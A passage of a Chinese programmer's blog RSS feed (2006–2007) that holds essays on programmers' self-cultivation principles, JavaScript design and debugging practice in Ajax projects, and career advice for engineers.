<p><strong>日三省乎己</strong>　　　　</p>
<p>每天读的书太多，容易让人迷失方向。一定要在每天晚上想想自己学了些什么，还有些什么相关的东西需要掌握，自己对什么最感兴趣，在一本书上花的时间太长还是不够等等。同时也应该多想想未来最有可能出现的应用，这样能够让你不是追赶技术潮流而是引领技术潮流。同时，努力使用现在已经掌握的技术和理论去制作具有一定新意的东西。坚持这样做能够让你真正成为一个软件&#8220;研发者&#8221;而不仅仅是一个CODER。</p>
<p><strong>把最多的时间花在学习上</strong></p>
<p>这是对初学者最后的忠告。把每个星期玩CS或者CS的时间压缩到最少，不玩它们是最好的。同时，如果你的ASP技术已经能够来钱，甚至有公司请你兼职的话，这就证明你的天分能够保证你在努力的学习之后取得更好的收益，你应该去做更复杂的东西。眼光放长远一些，这无论是对谁都是适用的。</p>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/35795.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2007-11-04 11:31 <a href="http://www.cnitblog.com/seeyeah/archive/2007/11/04/35795.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序员修身养性的十大原则</title><link>http://www.cnitblog.com/seeyeah/archive/2006/12/24/21064.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sun, 24 Dec 2006 13:43:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2006/12/24/21064.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/21064.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2006/12/24/21064.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/21064.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/21064.html</trackback:ping><description><![CDATA[
		<p>生活在现在 </p>
		<p>我们大部分的烦恼来自于对过去的惦念与懊悔，过去的辉煌与暗淡占据了我们很多的回忆空间，我们经常为昨天的洋相与错误而长久地悔恨，其实也只有自己才会很在意自己过去的表现，对别人而言，你过去的表现很快就过眼云烟，因此我们不需要沉醉于过去的辉煌，也不需要沉沦于过去的不幸，我们要将精神集中在今天要做什么以及如何去做才最好，尤其像我们程序员这个职业，技术革新太快，稍微停留我们就会变得过时，昨天你所开发的产品或许不错，但明天可能很快就变得陈旧不堪，你需要在今天不断地吸取新技术，不断地创新，不断地完善，才能保持产品以及自身的竞争力，生活在现在是一种积极进取的人生态度，记住：过去的已过去，未来还不可靠，只有今天才是真实可靠的。 </p>
		<p>生活在这里 </p>
		<p>搞IT的似乎注定要“飘来飘去”，人员流动性应是所有行业中最高的，毕业七年，服务过4家公司，算是比较稳定的人了，在有些公司工作一年多就成了老员工了，应该说有时是不太守职业道德的，当我发现所在的公司并非自己的理想时，我的心就开始先飘了，人在心不在，这种状况导致工作的效果与效率都不理想，离开只是时间问题，我相信很多朋友也有过这种情况，这是不负责的，对公司与自己都不好，我们尽力做到在那里工作一天就尽责尽力一天， 打工也好创业也好，都要不断提高自己，凡事尽力做到问心无愧，我们要记住，我们现在就生活在此处此地，而不是遥远的其他地方。 </p>
		<p>停止猜想，面向实际 </p>
		<p>我们很多心理上的障碍，往往是没有实际根据的“想当然”造成的。面对问题，有些人喜欢猜想，而不是去调查事实与解决问题，比如项目经理早上因进度缓慢问题将你骂了一顿，然后你就因此而联想下去，心里在嘀咕，项目经理是不是对你有意见？是不是不看重你？这个项目如果做不好就完了等等诸如此类的猜想，其实项目经理只是就事论事，并不针对你个人，他是希望你去想方设法将进度跟上来，或加加班，或与同事一起互相帮助一下，而你却活在自己的猜测里久久不能摆脱，结果会越来越严重，所以无论面对任何困难或责备，你需要做的是面对实际，寻找问题所在，并设法解决问题，而不要去胡乱猜想。 </p>
		<p>暂停思考，多去感受 </p>
		<p>我对这一点的理解就是要劳逸结合，我们这个职业属于重型脑力劳动，我们经常长时间地思考，经常长时间地coding，有时因为一个BUG，我们日日夜夜冥思苦想，有时为了能让项目按进度完成，日以继夜地加班，都快变成了一台没有情感的机器，我建议朋友们偶尔暂停一下思考，花一些时间去观赏美景或美女，多聆听悦耳美妙的音乐，多去感受大自然的花草树木，休假时出趟远门旅游，如果身体允许，下雨天去踢场足球，我们应尽力让生活变得丰富多彩。 </p>
		<p>接受不愉快的情感 </p>
		<p>矛盾无处不在，再乐观的人也会有不愉快的时候，一个优秀的程序员应会处理各种各样的关系，工作上有与客户的关系，与市场人员的关系，与测试人员的关系，与客服人员的关系，与上司的关系，与同事的关系，生活中有与家人的关系，与朋友的关系，与陌生人的关系，我们无法要求所接触的每个人都是我们所想象的，在相处的过程中一定会产生不愉快的情绪，其实愉快与不愉快是相对而言的，同时也是相互存在的，恰当地处理便会相互转化，程序BUG出现了，你一时解决不了，测试人员会追着要你赶快搞定，你变得烦躁与恼火，不停地思索，不断地调试，终于结束了，这时你会有一种如释重负的感觉，心情也会变得愉快起来。 </p>
		<p>不要随意下判断 </p>
		<p>我们往往容易在别人稍有差错或失败之时，就马上下结论，这种方式容易与别人产生摩擦与冲突，结果自己也会烦恼与苦闷。对他人的态度和处理人际关系的正确做法应是：先不要对人或事下判断，先要说出你是如何认为的。这样对方会容易接受，往往你说完自己的看法后，对方也自然而然地知道你的结论。 </p>
		<p>不要盲目地崇拜偶像和权威 </p>
		<p>大多人都需要一个精神寄托的对象，这个对象的成就以及影响力也往往成为我们的追求目标，比如我曾崇拜周恩来，因为他的个人魅力，我曾崇拜张学友，因为他的歌唱得出神入化，我曾崇拜温伯格，因为他的书写得好，可见崇拜或喜欢一个人，总是有一个理由的，我们不能因为这个理由而全部肯定或接受这个对象的一言一语一举一动，那样会禁锢我们的头脑束缚我们的手脚，使我们失去独立思考的习性。 </p>
		<p>我就是我 </p>
		<p>我听过余世维博士的讲座，在他的观点中有一点是强调以我或我们为主，不要去看他们做什么，不要总说别人怎么样，而要关注我们能做什么，我们怎么样，出错了要敢于承认是我或我们的错，而不要将责任推到别人的身上。余博士的这个观点以及所引用的例子让阿蒙受益无穷，决心从我做起，从现在做起，不再怨天尤人，充分发挥自己的潜能与优势，竭尽全力做好自己能做的事情。 </p>
		<p>对自己负责 </p>
		<p>高考的成绩并不好，可以说与我要求的目标差得太远，大一的时候总活在不断地为自己辩护的状态之中，我有时认为失败的原因在家境不好，经济压力太大，使我不能专心学习，有时又将原因归于身体不好，影响学习……这是在逃避责任和现实，将自已的过错与失败都推到客观原因上，失败或错误的原因总是说也说不完，项目没有正常完成，是谁的错，是什么错？需求不明，设计不好，管理不佳，还是程序员的水平不高？有谁能站出来承担自己的那份责任？ </p>
		<p>正确地自我估计 </p>
		<p>无论在工作中还是社会上，我们每个人都占据着一个特定的位置，所以我们需要按这个位置的要求，去履行我们的权利与义务。在一个项目中，如果你是一个系统设计工程师，那么你就全心全力地去完成系统的概要设计与详细设计，并处理好与项目经理、系统分析员、软件开发人员之间的关系，把自己摆在准确的位置上，如果你不按照项目一致规定和大家公认的规范去做，那你将会受到项目其他人员的谴责和反对，也会使项目的管理变得混乱。所以正确地自我评估是很重要的，它可以让我们始终保持冷静，不再好高骛远，也不会骄傲自满或过分自卑，它让我们脚踏实地做事，认认真真做人。 </p>
		<p>十大终于写完了，感觉有一丝成就感，尽管有点教条主义的味道，但出发点应是好的，未来的程序员不应是只会埋头苦干的机器，我们需要生动有趣的生活来保持我们的创新能力。在此时抛出十大原则，目的是：当程序员朋友们从远方回来，从疯狂归来之时，能看到一些理性的思维与观点，并好好地自我评估，从我做起，从现在做起，去一步一个脚印地实现自己的梦想。 </p>
		<p>转<a href="http://www.uml.org.cn/success/200512123.htm">http://www.uml.org.cn/success/200512123.htm</a><br /></p>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/21064.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2006-12-24 21:43 <a href="http://www.cnitblog.com/seeyeah/archive/2006/12/24/21064.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>从javascript语言本身谈项目实战 </title><link>http://www.cnitblog.com/seeyeah/archive/2006/12/16/20586.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Fri, 15 Dec 2006 17:05:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2006/12/16/20586.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/20586.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2006/12/16/20586.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/20586.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/20586.html</trackback:ping><description><![CDATA[
		<p>随着ajax的升温，javascript越来越得到人们的重视。重要的是，ajax在一定程度上带来了web软件架构上的变化，人们把越来越多的功能分配到客户端实现，javascript子项目规模越来越大。如何更高效的使用javascript，如何更科学的组织javascript，如何更顺利的保证项目进展？我想就我的经验谈一点浅见。</p>
		<p>一。 开发人员需要认真学习javascript语言本身<br />       由于javascript是“[url =http://www2.uuzone.com/blog/555080192/18957.htm]世界上最被误解的语言[/url]”, 大部分人对javascript语法并没有全面了解过，只是凭借看起来很像c或者java的关键字按照自己的理解写javascript代码。其实 javascript是一种很独特的语言，和c++/java有非常大的区别，要想用javascript做大一些的项目，开发人员必须老老实实的学习 javascript的语法。真正掌握了语法后，我们才不会把delete看成释放内存对象，才不会为到底参数传递是值传递还是引用传递而烦恼。真正理解了javascript的基于原型的OO方式，才可能写出具有良好架构的javascript程序。<br />       《javascript权威指南》是一本最合适的书，郑重推荐。另外ECMA262 文档可以作为参考。网上流行的jscript手册chm版本使用起来比较方便，不过这是微软的jscript实现，和标准的javascript略有区别，使用时应该注意上面的注脚信息。关于javascript的原型和OO,网上已经有很多文章介绍了，在此不再多说。</p>
		<p>二。 良好的代码来源于良好的设计<br />       只有设计优良，代码才会写的漂亮。现在的javascript子项目已经不是以前web项目中的“边角料”和散兵游勇了，在较大的ajax项目内， javascript将非常复杂，ajax的异步模型也和以前顺序执行的程序设计有所区别。所以建议做javascript前首先做好设计。推荐使用用例驱动的方式，把用例分析清楚，以便全局考虑所有可能的页面交互过程，绘出页面内一些对象之间的交互图，分析一些数据对象的状态，作出精细的 javascript设计。</p>
		<p>三。 使用设计模式，复用其他领域的设计经验<br />        如果javascript非常复杂，可以考虑使用一些模式。我想大部分做javascript的开发者都不是“javascript科班”出身吧 掌握了javascript的语言本质，就可以复用我们在其他领域的经验了。使用javascript框架或者ajax框架，使用单例模式做一个全局的数据缓冲池，或者使用观察者模式把界面对象和数据对象分离，使用命令模式实现用户的操作队列等等。</p>
		<p>四。 调试代码的技巧<br />        javascript的代码不太好调试，这是由于：</p>
		<p>    * 一般的开发人员对javascript语言本身不太精通。也就是上面提到的。<br />    * web项目包含较多的因素，复杂性加剧。服务端脚本、模板、html、js等很多环节都可能增加调试难度。<br />    * 浏览器存在兼容性问题。有可能在一个细节问题上IE、Mozilla、opera等浏览器都有差异。<br />    * 工具的缺乏。虽然mozilla的jsdebugger非常好用（还有bug，比如eval时调试器有些问题），但是其他浏览器环境下调试工具就不怎么样了。ms系统自带的script debug工具调试本地代码还可以，直接调试网站js代码表现欠佳。opera除了javascript控制台外我没有找到其他调试工具。</p>
		<p>       在此我推荐几个调试技巧：</p>
		<p>   1. 使用Mozilla firefox的jsdebugger插件。这个我不再多说了，最经典的js调试工具。在线调试远程站点的javascript效果非常棒。<br />   2. 把问题隔离，建立本地的html文件和js文件，使用ms script debug调试工具来调试。如果js模块比较独立，可以使用这个工具的。如果写hta的项目，这个工具当然是首选了。<br />   3. httpWatch 这是一个ie下的插件，非常好用，能够监视ie中的任何http会话，并能够看到http会话的原文。可以通过这个工具了解你的程序有没有和服务器产生会话，参数＆返回的数据到底是什么。<br />   4. 在网页内建立用于调试的textarea<br />      可以在网页内建立一个textarea来接受你想运行的js语句，然后加一个按钮使用js的eval函数执行你输入的代码。<br />      这种方式非常适合在线调试，网页出错后写代码输出页面内的对象值。建议写一些dump工具函数配合使用，效果更佳。<br />      我非常喜欢这种方式，可以随时使用开关打开页面内隐藏的textarea进行调试，感觉很像给一台服务器接上了终端，然后使用shell可以做任何事情 函数可以在这里重新定义，可以任意操作界面中的任何元素，调用任何对象的任何函数，输出任何你需要的运行时刻值。<br />   5. 使用异常(exception)和断言(assert)<br />      使用try{}catch(e){}结构不光可以屏蔽出错信息，让界面更友好。我们的程序可以使用异常、抛出异常来构建一种更好的出错处理机制。<br />      有这样一个故事，我在使用string.localeCompare函数时随手写了这样的代码：<br />      var iRe = str1.localeCompare(str2);<br />      switch(iRe){<br />      0: return ....<br />      1: return ....<br />      -1:return ....<br />      defalut:throw "error:localeCompare return other value"<br />      }<br />      写完就忘了，没想到我的同事在linux下使用firefox时，异常被抛出了，然后我们得知：linux firefox下localeCompare返回的不只是0/1/-1,而是返回一个具体值.<br />      这个异常抛出有效的检测出了代码的不完美。</p>
		<p>      firefox下的异常dump后能得到较为详细的调用栈信息，这一点非常好。IE的异常信息没有这么详细。</p>
		<p>      异常和断言也可以结合成为一个非常有效的调试工具。<br />      断言(assert)是在其他语言中的一种很有效的调试工具，常常以这种形式出现：<br />      assert( &lt;条件&gt; ) ;<br />      在程序处于debug状态，当条件为假时，系统中止运行并报告这个断言。由于断言是我们自己定义的，所以我们可以很容易的判断出出错的地方，进而找到bug所在。<br />      javascript语言没有提供宏，也没有提供assert，我们可以这样模拟<br />      if(_is_debug) assert = function(expression , strLable){<br />          if( !expression ) throw Error(strLable);<br />      }<br />      else assert = function(){};//_is_debug是一个全局变量<br />      这样可以实现在发生"不可能的事情"的时候，让程序在调试模式下抛出异常，在发布版本中不作理会。</p>
		<p>      可以这样输出当前栈的调用信息,弥补刚才提到的IE中异常对象没有栈信息的缺陷:<br />      function callStackInfo(){<br />      var s="",line="";<br />      var cer=arguments.callee.caller;<br />      while(cer){<br />      var sf=cer.toString();<br />      s+=line+sf.substring(sf.indexOf('function'),sf.indexOf('{'))+"\n";<br />      line=".."+line;<br />      cer=cer.caller;<br />      }<br />      return s;<br />      }</p>
		<p>       本文只就javascript在web开发，特别是在ajax方面的开发做了一些讨论，主要在于管窥如何更好的使用“纯javascript”。web开发还有很多其他方面，比如xml和Dom等实际上和javascript息息相关，但是本文没有涉及，还请见谅。欢迎各位朋友就我的讨论多提意见。<br /></p>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/20586.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2006-12-16 01:05 <a href="http://www.cnitblog.com/seeyeah/archive/2006/12/16/20586.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一些经验之谈</title><link>http://www.cnitblog.com/seeyeah/archive/2006/07/26/14219.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Wed, 26 Jul 2006 04:57:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2006/07/26/14219.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/14219.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2006/07/26/14219.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/14219.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/14219.html</trackback:ping><description><![CDATA[
		<p>[1]好好规划自己的路，不要跟着感觉走！根据个人的理想决策安排，绝大部分人并不指望成为什么院士或教授，而是希望活得滋润一些，爽一些。那么，就需要慎重安排自己的轨迹。从哪个行业入手，逐渐对该行业深入了解，不要频繁跳槽，特别是不要为了一点工资而转移阵地，从长远看，这点钱根本不算什么，当你对一个行业有那么几年的体会，以后钱根本不是问题。频繁地动荡不是上策，最后你对哪个行业都没有摸透，永远是新手！　<br />　　 </p>
		<p>[2]可以做技术，切不可沉湎于技术。千万不可一门心思钻研技术！给自己很大压力，如果你的心思全部放在这上面，那么注定你将成为孔乙己一类的人物！适可而止为之，因为技术只不过是你今后前途的支柱之一，而且还不是最大的支柱，除非你只愿意到老还是个工程师！　　　 </p>
		<p>[3]不要去做技术高手，只去做综合素质高手！在企业里混，我们时常瞧不起某人，说他“什么都不懂，凭啥拿那么多钱，凭啥升官！”这是普遍的典型的工程师的迂腐之言。8051很牛吗？人家能上去必然有他的本事，而且是你没有的本事。你想想，老板搞经营那么多年，难道见识不如你这个新兵？人家或许善于管理，善于领会老板意图，善于部门协调等等。因此务必培养自己多方面的能力，包括管理，亲和力，察言观色能力，攻关能力等，要成为综合素质的高手，则前途无量，否则只能躲在角落看示波器！技术以外的技能才是更重要的本事！！从古到今，美国***，一律如此！　　　 </p>
		<p>[4]多交社会三教九流的朋友！不要只和工程师交往，认为有共同语言，其实更重要的是和其他类人物交往，如果你希望有朝一日当老板或高层管理，那么你整日面对的就是这些人。了解他们的经历，思维习惯，爱好，学习他们处理问题的模式，了解社会各个角落的现象和问题，这是以后发展的巨大的本钱，没有这些以后就会笨手笨脚，跌跌撞撞，遇到重重困难，交不少学费，成功的概率大大降低！ </p>
		<p>[5]知识涉猎不一定专，但一定要广！多看看其他方面的书，金融，财会，进出口，税务，法律等等，为以后做一些积累，以后的用处会更大！会少交许多学费！！　 </p>
		<p>[6]抓住时机向技术管理或市场销售方面的转变！要想有前途就不能一直搞开发，适当时候要转变为管理或销售，前途会更大，以前搞技术也没有白搞，以后还用得着。搞管理可以培养自己的领导能力，搞销售可以培养自己的市场概念和思维，同时为自己以后发展积累庞大的人脉！应该说这才是前途的真正支柱！！！　　　 </p>
		<p>[7]逐渐克服自己的心里弱点和性格缺陷！多疑，敏感，天真（贬义，并不可爱），犹豫不决，胆怯，多虑，脸皮太薄，心不够黑，教条式思维。。。这些工程师普遍存在的性格弱点必须改变！很难吗？只在床上想一想当然不可能，去帮朋友守一个月地摊，包准有效果，去实践，而不要只想！不克服这些缺点，一切不可能，甚至连项目经理都当不好--尽管你可能技术不错！　　　 </p>
		<p>[8]工作的同时要为以后做准备！建立自己的工作环境！及早为自己配置一个工作环境，装备电脑，示波器（可以买个二手的），仿真器，编程器等，业余可以接点活，一方面接触市场，培养市场感觉，同时也积累资金，更重要的是准备自己的产品，咱搞技术的没有钱，只有技术，技术的代表不是学历和证书，而是产品，拿出象样的产品，就可技术转让或与人合作搞企业！先把东西准备好，等待机会，否则，有了机会也抓不住！　　　 </p>
		<p>[9]要学会善于推销自己！不仅要能干，还要能说，能写，善于利用一切机会推销自己，树立自己的品牌形象，很必要！要创造条件让别人了解自己，不然老板怎么知道你能干？外面的投资人怎么相信你？提早把自己推销出去，机会自然会来找你！搞个个人主页是个好注意！！特别是培养自己在行业的名气，有了名气，高薪机会自不在话下，更重要的是有合作的机会...　　　 </p>
		<p>[10]该出手时便出手！永远不可能有100%把握！！！条件差不多就要大胆去干，去闯出自己的事业，不要犹豫，不要彷徨，干了不一定成功，但至少为下一次冲击积累了经验，不干永远没出息，而且要干成必然要经历失败。不经历风雨，怎么见彩虹，没有人能随随便便成功！</p>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/14219.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2006-07-26 12:57 <a href="http://www.cnitblog.com/seeyeah/archive/2006/07/26/14219.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>